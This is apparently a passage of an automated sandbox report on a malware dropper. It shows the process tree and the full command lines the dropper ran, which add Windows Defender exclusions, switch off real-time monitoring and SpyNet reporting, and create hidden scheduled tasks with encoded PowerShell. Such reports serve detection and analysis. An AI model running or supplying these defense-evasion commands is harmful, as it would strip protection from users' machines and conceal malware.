5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	dHxmyiq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	dHxmyiq.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXEdHxmyiq.exe

pid	process
1524	powershell.EXE
1524	powershell.EXE
1524	powershell.EXE
320	powershell.EXE
320	powershell.EXE
320	powershell.EXE
1140	powershell.EXE
1140	powershell.EXE
1140	powershell.EXE
1272	powershell.EXE
1272	powershell.EXE
1272	powershell.EXE
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe
1572	dHxmyiq.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	1524	powershell.EXE
Token: SeDebugPrivilege	320	powershell.EXE
Token: SeDebugPrivilege	1140	powershell.EXE
Token: SeDebugPrivilege	1272	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 240 wrote to memory of 1672	240	file.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1672 wrote to memory of 1428	1672	Install.exe	Install.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 668	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 1428 wrote to memory of 1140	1428	Install.exe	forfiles.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 668 wrote to memory of 1184	668	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1140 wrote to memory of 1556	1140	forfiles.exe	cmd.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 1180	1184	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1848	1556	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1184 wrote to memory of 996	1184	cmd.exe	reg.exe
PID 1556 wrote to memory of 1384	1556	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:240

C:\Users\Admin\AppData\Local\Temp\7zSF336.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1672

C:\Users\Admin\AppData\Local\Temp\7zSFC88.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1184

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1180

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:996

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:1556

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1848

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1384

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gxudGTfvQ" /SC once /ST 07:05:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1980

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gxudGTfvQ"
4⤵
PID:1160

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gxudGTfvQ"
4⤵
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "byLWBUphYKVPGqoaZN" /SC once /ST 11:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\iPRZajv.exe\" rw /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1708

C:\Windows\system32\taskeng.exe
taskeng.exe {80522BD0-EB24-40C2-8C48-E924B2E3A208} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]
1⤵
PID:872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:320

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:772

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1744

C:\Windows\system32\taskeng.exe
taskeng.exe {617C4489-D758-49A6-93D1-BD1D2255849E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1656

C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\iPRZajv.exe
C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk\bWhXUEvIQwsbyrm\iPRZajv.exe rw /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1492

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gcAPdPudF" /SC once /ST 10:13:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:388

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gcAPdPudF"
3⤵
PID:1052

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gcAPdPudF"
3⤵
PID:1600

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1968

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1312

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1424

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1068

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "goKVnpHqb" /SC once /ST 04:46:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:828

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "goKVnpHqb"
3⤵
PID:472

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "goKVnpHqb"
3⤵
PID:1584

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1600

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1564

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1788

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
3⤵
PID:692

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1000

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
PID:672

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\oCRUNVefZTIhACRx\cSMBETxf\MYzfaqJJdGNAJdbl.wsf"
3⤵
PID:1100

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\oCRUNVefZTIhACRx\cSMBETxf\MYzfaqJJdGNAJdbl.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1052

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1132

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1976

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:660

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1184

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BrFEHzbpwZEBC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZFNizbZnU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2032

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aIaOnhtotwUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1260

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gCafjQbERGAU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:368

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\euGiausHkJdtKpVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1556

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1184

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:32
4⤵
PID:840

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\oCRUNVefZTIhACRx" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1772

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gdbWKWNMi" /SC once /ST 08:11:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1020

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gdbWKWNMi"
3⤵
PID:1796

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gdbWKWNMi"
3⤵
PID:1988

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
